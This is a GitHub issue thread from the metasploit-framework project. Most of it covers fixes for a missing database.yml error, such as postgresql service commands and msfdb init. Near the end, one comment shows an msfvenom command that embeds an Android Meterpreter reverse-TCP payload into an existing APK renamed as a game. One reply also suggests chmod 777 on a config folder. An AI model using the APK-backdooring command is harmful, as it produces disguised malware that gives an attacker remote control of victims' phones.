Metasploit-framework: WARNING: No database support: No database YAML file

Created on 14 Jan 2019  Â·  25Comments  Â·  Source: rapid7/metasploit-framework

Steps to reproduce

How'd you do it?

  1. Did a clean install of kali linux 2018.4 on hyper-v.
  2. get-apt update && apt-get dist upgrade
  3. Opened up msfconsole and saw I was running msf 4
  4. Ran this command
    curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \
    chmod 755 msfinstall && \
    ./msfinstall

  5. Opened msfconolse and got

-] **rting the Metasploit Framework console...|
[-] WARNING: No database support: No database YAML file

starting postgresql service works fine

Expected behavior

msf should connect to the database

Current behavior

I get an error about "No database YAML file"

System stuff

Metasploit version

metasploit 5

I installed Metasploit with:

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \
chmod 755 msfinstall && \
./msfinstall

OS

Kali Linux 2018.4

Most helpful comment

The fix is the same for all versions of MSF.

/etc/init.d/postgresql

service --status-all
service postgresql start
service postgresql status

/usr/bin/msfconsole

msfdb init
msfconsole
msf > db_status

All 25 comments

I got this fixed by closing my terminal and clicking the metasploit-framework icon on the sidebar in kali linux, it then opened a new terminal that created the database file for me. It failed to open msfconsole, but now when I type msfconsole in terminal it opens up no problem

why wouldn't the command line msfconsole doesn't do the same thing?

Can't click icon because there's no GUI in kali-linux WSL. Any other fix?

The fix is the same for all versions of MSF.

/etc/init.d/postgresql

service --status-all
service postgresql start
service postgresql status

/usr/bin/msfconsole

msfdb init
msfconsole
msf > db_status

"msfconsole-start" worked for me on terminal

@CybernetiX-S3C 's solution did the trick 4 meh ;P

I have downloaded metasploit-framework software in .exe and running on windows 10
After running it's showing

warning: no database support : no database yaml file

What can i do pls help me

@CybernetiX-S3C thumpsuP

where the answer >(

I did this, running the newest version of Ubuntu
in the home directory, it will also make it easier if you have **show hidden files** on in the file viewer to interact with the **.msf4** folder, because it is hidden
chmod 777 .msf4
cd .msf4

then i minimized the terminal, made a blank document in leafpad, named it database.yml
put it in the home folder, put it in .msf4 then go back into the terminal (in the .msf4 directory)
and ran msfdb init it will ask if you want to delete old configs, type "y" then it should make a new database.yml that is correct and working.

Running msfconsole-start worked for me.

guys, i have a solution for this problem :
open your terminal and type:
msfdb init
this would surely work

guys, i have a solution for this problem :
open your terminal and type:
msfdb init
this would surely work

Did not work.
db_status returns:
[*] postgresql selected, no connection

After using the fix that I posted above ^^
Type: service postgresql start
Then type: msfconsole
Root is optional

when msfconsole oppen it show
WARNING:No database support:No database YAML file

when msfconsole oppen it show
WARNING:No database support:No database YAML file

Bro type
cd metasploit-framework
And then
./msfdb init
And bam you are done

What happens if you try all the things mentioned and still I get the same error?

Postgres is running.
I did the msfdb init.
I get an error saying the port is already in use.

I think there is an actual bug here and it seems that msfconsole is not recognizing where the database.yml file is located. Under plain old Debian, that file is located /var/lib/postgresql/.msf4/database.yml, but msfconsole is searching /opt/metasploit-framework/embedded/framework/config/.

What happens if you try all the things mentioned and still I get the same error?
I get an error saying the port is already in use.

@hackdefendr Perhaps the port is already in use?

Also, please don't post on closed issue. That's not the same error.

Also, please provide evidence, such as logs.

So all those other people from 13 days ago commenting is OK, but when I do it, it's a problem. It is the same issue, same error. I added the port in use because I saw that too.

You seem upset. This always chears me up:

https://www.youtube.com/watch?v=yZNtYmdZ-4c

Why do people always say that when I comment? I simply pointed out that you didn't say anything to anyone else's comments.

Anyway I fixed my own problem by copying the database.yml file to a location that metasploit recognizes. Which is a bug in my opinion, since msfdb creates the yml file, then msfconsole should be able to find it.

Cool, glad you got it sorted.

Bug reports are always appreciated. There might be a bug here, but without logs it is impossible to known. Now that you've edited your post to provide additional details it might be easier for someone to investigate. And if it's not a bug, maybe the user experience workflow could be improved.

In this instance the initial post lacked details and appeared to be referencing a different issue related to a port. The reason we ask people to post new issues for new issues is because this increases visibility and encourages completing the issue template, which includes useful information such as the version of metasploit, the method used to install metasploit, and logs.

Tagging @acammack-r7 as I think he's the database guy and may want to take a look.

Groovy. I can easily open a new issue and reproduce the issue to gather logs n such.

We all have solved this issue together. Let me just give a quick summary
1.Start postgresql service (MSF use this service and dependence you can install it other OS if not kali)
service postgresql status (If no result option 2)

Option 2: msfdb init ( Follow the proceedings till you create your msfdb)
msfdb start
Database already started at /home.......
run msfconsole

If still having issues you can follow what
hackdefendr commented Mar 20, 2020

He fixed his own problem by copying the database.yml file to a location that metasploit recognizes. Which is a bug in my opinion, since msfdb creates the yml file, then msfconsole should be able to find it.

Option 1 & 2 solves this issues most of the time if there is no Bug

When using -x ther is an error
eg :msfvenom -x /root/Desktop/mini.apk -p android/meterpreter/reverse_tcp
LHOST= LPORT=444 -o /root/Desktop/minimiltia.apk

Using APK template: /root/Desktop/mini.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android form
the payload
[-]No arch selectod, selecting arch: dalvik from the payload
Error: Malformed version number string 2.4.0-dirty
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on
-Dswing.aatext=true

On Sun, 22 Mar 2020, 6:03 pm macxpedia, notifications@github.com wrote:

We all have solved this issue together. Let me just give a quick summary
1.Start postgresql service (MSF use this service and dependence you can
install it other OS if not kali)
service postgresql status (If no result option 2)

Option 2: msfdb init ( Follow the proceedings till you create your msfdb)
msfdb start
Database already started at /home.......
run msfconsole

If still having issues you can follow what
hackdefendr commented Mar 20, 2020

He fixed his own problem by copying the database.yml file to a location
that metasploit recognizes. Which is a bug in my opinion, since msfdb
creates the yml file, then msfconsole should be able to find it.

Option 1 & 2 solves this issues most of the time if there is no Bug

—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub
https://github.com/rapid7/metasploit-framework/issues/11250#issuecomment-602192917,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AMLL2THA2JQIPILPHTARQODRIYAR5ANCNFSM4GPYBTCA
.

Was this page helpful?
0 / 5 - 0 ratings

Related issues

wvu-r7 picture wvu-r7  Â·  3Comments

Acidical picture Acidical  Â·  3Comments

miholtz picture miholtz  Â·  3Comments

Sonya2010 picture Sonya2010  Â·  3Comments

BaconBombz picture BaconBombz  Â·  3Comments